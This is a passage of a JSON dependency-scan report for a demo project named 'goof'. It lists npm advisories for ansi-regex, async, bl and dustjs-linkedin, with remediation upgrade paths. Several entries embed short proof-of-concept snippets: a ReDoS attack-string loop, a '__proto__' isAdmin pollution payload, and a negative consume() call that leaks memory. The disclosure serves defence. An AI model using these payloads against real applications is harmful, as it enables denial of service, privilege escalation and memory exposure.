+ "alternativeIds": [], + "creationTime": "2021-09-09T14:28:31.617043Z", + "credit": [ + "Yeting Li" + ], + "cvssScore": 7.5, + "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to the sub-patterns` [[\\\\]()#;?]*` and `(?:;[-a-zA-Z\\\\d\\\\/#&.:=?%@~_]*)*`.\r\n\r\n\r\n### PoC\r\n```js\r\nimport ansiRegex from 'ansi-regex';\r\n\r\nfor(var i = 1; i <= 50000; i++) {\r\n var time = Date.now();\r\n var attack_str = \"\\u001B[\"+\";\".repeat(i*10000);\r\n ansiRegex().test(attack_str)\r\n var time_cost = Date.now() - time;\r\n console.log(\"attack_str.length: \" + attack_str.length + \": \" + time_cost+\" ms\")\r\n}\r\n```\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `ansi-regex` to version 6.0.1, 5.0.1 or higher.\n## References\n- [GitHub Commit](https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9)\n- [GitHub PR](https://github.com/chalk/ansi-regex/pull/37)\n", + "disclosureTime": "2021-09-09T14:27:43Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "6.0.1", + "5.0.1" + ], + "id": "SNYK-JS-ANSIREGEX-1583908", + "identifiers": { + "CWE": [ + "CWE-400" + ], + "CVE": [ + "CVE-2021-3807" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-03-15T13:49:53.043116Z", + "moduleName": "ansi-regex", + "packageManager": "npm", + "packageName": "ansi-regex", + "patches": [], + "proprietary": false, + "publicationTime": "2021-09-12T12:52:37Z", + "references": [ + { + "title": "GitHub Commit", + "url": "https://github.com/chalk/ansi-regex/commit/8d1d7cdb586269882c4bdc1b7325d0c58c8f76f9" + }, + { + "title": "GitHub PR", + "url": "https://github.com/chalk/ansi-regex/pull/37" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Regular Expression Denial of Service (ReDoS)", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=6.0.0 <6.0.1", + ">2.1.1 <5.0.1" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "typeorm@0.2.24", + "yargs@13.3.2", + "cliui@5.0.0", + "wrap-ansi@5.1.0", + "string-width@3.1.0", + "strip-ansi@5.2.0", + "ansi-regex@4.1.0" + ], + "upgradePath": [ + false, + "typeorm@0.2.27", + "yargs@16.0.3", + "cliui@7.0.0", + "wrap-ansi@7.0.0", + "string-width@4.2.0", + "strip-ansi@6.0.0", + "ansi-regex@5.0.1" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "ansi-regex", + "version": "4.1.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", + "alternativeIds": [], + "creationTime": "2022-04-07T07:58:38.528444Z", + "credit": [ + "Unknown" + ], + "cvssScore": 7.5, + "description": "## Overview\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mapValues()` method.\r\n\r\n## PoC\r\n\r\n```js\r\n//when objects are parsed, all properties are created as own (the objects can come from outside sources (http requests/ file))\r\nconst hasOwn = JSON.parse('{\"__proto__\": {\"isAdmin\": true}}');\r\n\r\n//does not have the property, because it's inside object's own \"__proto__\"\r\nconsole.log(hasOwn.isAdmin);\r\n\r\nasync.mapValues(hasOwn, (val, key, cb) => cb(null, val), (error, result) => {\r\n // after the method executes, hasOwn.__proto__ value (isAdmin: true) replaces the prototype of the newly created object, leading to potential exploits.\r\n console.log(result.isAdmin);\r\n});\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `async` to version 2.6.4, 3.2.2 or higher.\n## References\n- [GitHub Backport PR](https://github.com/caolan/async/pull/1828)\n- [GitHub Commit](https://github.com/caolan/async/commit/8f7f90342a6571ba1c197d747ebed30c368096d2)\n- [GitHub Commit](https://github.com/caolan/async/commit/e1ecdbf79264f9ab488c7799f4c76996d5dca66d)\n- [PoC](https://jsfiddle.net/oz5twjd9/)\n", + "disclosureTime": "2022-04-07T07:49:24Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "2.6.4", + "3.2.2" + ], + "id": "SNYK-JS-ASYNC-2441827", + "identifiers": { + "CWE": [ + "CWE-1321" + ], + "CVE": [ + "CVE-2021-43138" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-04-27T09:52:34.900274Z", + "moduleName": "async", + "packageManager": "npm", + "packageName": "async", + "patches": [], + "proprietary": false, + "publicationTime": "2022-04-07T14:22:18Z", + "references": [ + { + "title": "GitHub Backport PR", + "url": "https://github.com/caolan/async/pull/1828" + }, + { + "title": "GitHub Commit", + "url": "https://github.com/caolan/async/commit/8f7f90342a6571ba1c197d747ebed30c368096d2" + }, + { + "title": "GitHub Commit", + "url": "https://github.com/caolan/async/commit/e1ecdbf79264f9ab488c7799f4c76996d5dca66d" + }, + { + "title": "PoC", + "url": "https://jsfiddle.net/oz5twjd9/" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<2.6.4", + ">=3.0.0 <3.2.2" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "hbs@4.0.4", + "handlebars@4.0.14", + "async@2.6.3" + ], + "upgradePath": [ + false, + "hbs@4.0.4", + "handlebars@4.0.14", + "async@2.6.4" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "async", + "version": "2.6.3" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", + "alternativeIds": [], + "creationTime": "2022-04-07T07:58:38.528444Z", + "credit": [ + "Unknown" + ], + "cvssScore": 7.5, + "description": "## Overview\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mapValues()` method.\r\n\r\n## PoC\r\n\r\n```js\r\n//when objects are parsed, all properties are created as own (the objects can come from outside sources (http requests/ file))\r\nconst hasOwn = JSON.parse('{\"__proto__\": {\"isAdmin\": true}}');\r\n\r\n//does not have the property, because it's inside object's own \"__proto__\"\r\nconsole.log(hasOwn.isAdmin);\r\n\r\nasync.mapValues(hasOwn, (val, key, cb) => cb(null, val), (error, result) => {\r\n // after the method executes, hasOwn.__proto__ value (isAdmin: true) replaces the prototype of the newly created object, leading to potential exploits.\r\n console.log(result.isAdmin);\r\n});\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `async` to version 2.6.4, 3.2.2 or higher.\n## References\n- [GitHub Backport PR](https://github.com/caolan/async/pull/1828)\n- [GitHub Commit](https://github.com/caolan/async/commit/8f7f90342a6571ba1c197d747ebed30c368096d2)\n- [GitHub Commit](https://github.com/caolan/async/commit/e1ecdbf79264f9ab488c7799f4c76996d5dca66d)\n- [PoC](https://jsfiddle.net/oz5twjd9/)\n", + "disclosureTime": "2022-04-07T07:49:24Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "2.6.4", + "3.2.2" + ], + "id": "SNYK-JS-ASYNC-2441827", + "identifiers": { + "CWE": [ + "CWE-1321" + ], + "CVE": [ + "CVE-2021-43138" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-04-27T09:52:34.900274Z", + "moduleName": "async", + "packageManager": "npm", + "packageName": "async", + "patches": [], + "proprietary": false, + "publicationTime": "2022-04-07T14:22:18Z", + "references": [ + { + "title": "GitHub Backport PR", + "url": "https://github.com/caolan/async/pull/1828" + }, + { + "title": "GitHub Commit", + "url": "https://github.com/caolan/async/commit/8f7f90342a6571ba1c197d747ebed30c368096d2" + }, + { + "title": "GitHub Commit", + "url": "https://github.com/caolan/async/commit/e1ecdbf79264f9ab488c7799f4c76996d5dca66d" + }, + { + "title": "PoC", + "url": "https://jsfiddle.net/oz5twjd9/" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<2.6.4", + ">=3.0.0 <3.2.2" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "mongoose@4.2.4", + "async@0.9.0" + ], + "upgradePath": [ + false, + "mongoose@5.7.3" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "async", + "version": "0.9.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", + "alternativeIds": [], + "creationTime": "2022-04-07T07:58:38.528444Z", + "credit": [ + "Unknown" + ], + "cvssScore": 7.5, + "description": "## Overview\n\nAffected versions of this package are vulnerable to Prototype Pollution via the `mapValues()` method.\r\n\r\n## PoC\r\n\r\n```js\r\n//when objects are parsed, all properties are created as own (the objects can come from outside sources (http requests/ file))\r\nconst hasOwn = JSON.parse('{\"__proto__\": {\"isAdmin\": true}}');\r\n\r\n//does not have the property, because it's inside object's own \"__proto__\"\r\nconsole.log(hasOwn.isAdmin);\r\n\r\nasync.mapValues(hasOwn, (val, key, cb) => cb(null, val), (error, result) => {\r\n // after the method executes, hasOwn.__proto__ value (isAdmin: true) replaces the prototype of the newly created object, leading to potential exploits.\r\n console.log(result.isAdmin);\r\n});\r\n```\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
DoS occurs when `Object` holds generic functions that are implicitly called for various operations (for example, `toString` and `valueOf`).
The attacker pollutes `Object.prototype.someattr` and alters its state to an unexpected value such as `Int` or `Object`. In this case, the code fails and is likely to cause a denial of service.
**For example:** if an attacker pollutes `Object.prototype.toString` by defining it as an integer, if the codebase at any point was reliant on `someobject.toString()` it would fail. |\n |**Remote Code Execution**|Client|Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
**For example:** `eval(someobject.someattr)`. In this case, if the attacker pollutes `Object.prototype.someattr` they are likely to be able to leverage this in order to execute code.|\n|**Property Injection**|Client|The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
**For example:** if a codebase checks privileges for `someuser.isAdmin`, then when the attacker pollutes `Object.prototype.isAdmin` and sets it to equal `true`, they can then achieve admin privileges.|\n\n## Affected environments\n\nThe following environments are susceptible to a Prototype Pollution attack:\n\n- Application server\n \n- Web server\n \n\n## How to prevent\n\n1. Freeze the prototype— use `Object.freeze (Object.prototype)`.\n \n2. Require schema validation of JSON input.\n \n3. Avoid using unsafe recursive merge functions.\n \n4. Consider using objects without prototypes (for example, `Object.create(null)`), breaking the prototype chain and preventing pollution.\n \n5. As a best practice use `Map` instead of `Object`.\n\n### For more information on this vulnerability type:\n\n[Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018](https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf)\n\n## Remediation\nUpgrade `async` to version 2.6.4, 3.2.2 or higher.\n## References\n- [GitHub Backport PR](https://github.com/caolan/async/pull/1828)\n- [GitHub Commit](https://github.com/caolan/async/commit/8f7f90342a6571ba1c197d747ebed30c368096d2)\n- [GitHub Commit](https://github.com/caolan/async/commit/e1ecdbf79264f9ab488c7799f4c76996d5dca66d)\n- [PoC](https://jsfiddle.net/oz5twjd9/)\n", + "disclosureTime": "2022-04-07T07:49:24Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "2.6.4", + "3.2.2" + ], + "id": "SNYK-JS-ASYNC-2441827", + "identifiers": { + "CWE": [ + "CWE-1321" + ], + "CVE": [ + "CVE-2021-43138" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2022-04-27T09:52:34.900274Z", + "moduleName": "async", + "packageManager": "npm", + "packageName": "async", + "patches": [], + "proprietary": false, + "publicationTime": "2022-04-07T14:22:18Z", + "references": [ + { + "title": "GitHub Backport PR", + "url": "https://github.com/caolan/async/pull/1828" + }, + { + "title": "GitHub Commit", + "url": "https://github.com/caolan/async/commit/8f7f90342a6571ba1c197d747ebed30c368096d2" + }, + { + "title": "GitHub Commit", + "url": "https://github.com/caolan/async/commit/e1ecdbf79264f9ab488c7799f4c76996d5dca66d" + }, + { + "title": "PoC", + "url": "https://jsfiddle.net/oz5twjd9/" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Prototype Pollution", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + "<2.6.4", + ">=3.0.0 <3.2.2" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.11", + "async@1.5.2" + ], + "upgradePath": [ + false, + "tap@11.1.5", + "nyc@11.9.0", + "istanbul-reports@1.4.0", + "handlebars@4.0.12", + "async@2.6.4" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "async", + "version": "1.5.2" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:L/E:P", + "alternativeIds": [], + "creationTime": "2020-08-28T12:18:44.906258Z", + "credit": [ + "chalker" + ], + "cvssScore": 7.7, + "description": "## Overview\n[bl](https://github.com/rvagg/bl) is a library that allows you to collect buffers and access with a standard readable buffer interface.\n\nAffected versions of this package are vulnerable to Remote Memory Exposure. If user input ends up in `consume()` argument and can become negative, BufferList state can be corrupted, tricking it into exposing uninitialized memory via regular `.slice()` calls.\r\n\r\n### PoC by chalker\r\n```\r\nconst { BufferList } = require('bl')\r\nconst secret = require('crypto').randomBytes(256)\r\nfor (let i = 0; i < 1e6; i++) {\r\n const clone = Buffer.from(secret)\r\n const bl = new BufferList()\r\n bl.append(Buffer.from('a'))\r\n bl.consume(-1024)\r\n const buf = bl.slice(1)\r\n if (buf.indexOf(clone) !== -1) {\r\n console.error(`Match (at ${i})`, buf)\r\n }\r\n}\r\n```\n## Remediation\nUpgrade `bl` to version 2.2.1, 3.0.1, 4.0.3, 1.2.3 or higher.\n## References\n- [Github Commit](https://github.com/rvagg/bl/commit/8a8c13c880e2bef519133ea43e0e9b78b5d0c91e)\n- [Github Commit](https://github.com/rvagg/bl/commit/d3e240e3b8ba4048d3c76ef5fb9dd1f8872d3190)\n- [Github Commit](https://github.com/rvagg/bl/commit/dacc4ac7d5fcd6201bcf26fbd886951be9537466)\n- [GitHub Commit](https://github.com/rvagg/bl/commit/0bd87ec97be399b129fc62feff2943ffa21bcc00)\n- [HackerOne Report](https://hackerone.com/reports/966347)\n", + "disclosureTime": "2020-08-27T15:16:42Z", + "exploit": "Proof of Concept", + "functions": [], + "fixedIn": [ + "2.2.1", + "3.0.1", + "4.0.3", + "1.2.3" + ], + "id": "SNYK-JS-BL-608877", + "identifiers": { + "CWE": [ + "CWE-9" + ], + "NSP": [ + "1555" + ], + "CVE": [ + "CVE-2020-8244" + ], + "GHSA": [ + "GHSA-pp7h-53gx-mx7r" + ] + }, + "language": "js", + "malicious": false, + "modificationTime": "2021-08-08T13:56:54.899052Z", + "moduleName": "bl", + "packageManager": "npm", + "packageName": "bl", + "patches": [], + "proprietary": false, + "publicationTime": "2020-08-28T12:18:48Z", + "references": [ + { + "title": "Github Commit", + "url": "https://github.com/rvagg/bl/commit/8a8c13c880e2bef519133ea43e0e9b78b5d0c91e" + }, + { + "title": "Github Commit", + "url": "https://github.com/rvagg/bl/commit/d3e240e3b8ba4048d3c76ef5fb9dd1f8872d3190" + }, + { + "title": "Github Commit", + "url": "https://github.com/rvagg/bl/commit/dacc4ac7d5fcd6201bcf26fbd886951be9537466" + }, + { + "title": "GitHub Commit", + "url": "https://github.com/rvagg/bl/commit/0bd87ec97be399b129fc62feff2943ffa21bcc00" + }, + { + "title": "HackerOne Report", + "url": "https://hackerone.com/reports/966347" + } + ], + "severity": "high", + "socialTrendAlert": false, + "title": "Remote Memory Exposure", + "insights": { + "triageAdvice": null + }, + "functions_new": [], + "semver": { + "vulnerable": [ + ">=2.2.0 <2.2.1", + ">=3.0.0 <3.0.1", + ">=4.0.0 <4.0.3", + "<1.2.3" + ] + }, + "severityWithCritical": "high", + "from": [ + "goof@1.0.1", + "mongodb@3.5.9", + "bl@2.2.0" + ], + "upgradePath": [ + false, + "mongodb@3.5.9", + "bl@2.2.1" + ], + "isUpgradable": true, + "isPatchable": false, + "name": "bl", + "version": "2.2.0" + }, + { + "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L/E:P/RL:U/RC:R", + "alternativeIds": [], + "creationTime": "2021-03-26T13:20:28.488477Z", + "credit": [ + "baiyecha404" + ], + "cvssScore": 8.6, + "description": "## Overview\n[dustjs-linkedin](https://www.npmjs.com/package/dustjs-linkedin) is a Javascript templating engine designed to run asynchronously on both the server and the browser.\n\nAffected versions of this package are vulnerable to Prototype Pollution. It is possible to pollute the `blocks` Array attribute of the object `context` within the `compileBlocks` function. This vulnerability can be leveraged for code execution since this property is added to the `compiled` function which is then execute by the `vm` module.\n\n## Details\n\nPrototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as `_proto_`, `constructor` and `prototype`. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the `Object.prototype` are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.\n\nThere are two main ways in which the pollution of prototypes occurs:\n\n- Unsafe `Object` recursive merge\n \n- Property definition by path\n \n\n### Unsafe Object recursive merge\n\nThe logic of a vulnerable recursive merge function follows the following high-level model:\n```\nmerge (target, source)\n\n foreach property of source\n\n if property exists and is an object on both the target and the source\n\n merge(target[property], source[property])\n\n else\n\n target[property] = source[property]\n```\n
\n\nWhen the source object contains a property named `_proto_` defined with `Object.defineProperty()` , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of `Object` and the source of `Object` as defined by the attacker. Properties are then copied on the `Object` prototype.\n\nClone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: `merge({},source)`.\n\n`lodash` and `Hoek` are examples of libraries susceptible to recursive merge attacks.\n\n### Property definition by path\n\nThere are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: `theFunction(object, path, value)`\n\nIf the attacker can control the value of “path”, they can set this value to `_proto_.myValue`. `myValue` is then assigned to the prototype of the class of the object.\n\n## Types of attacks\n\nThere are a few methods by which Prototype Pollution can be manipulated:\n\n| Type |Origin |Short description |\n|--|--|--|\n| **Denial of service (DoS)**|Client |This is the most likely attack.
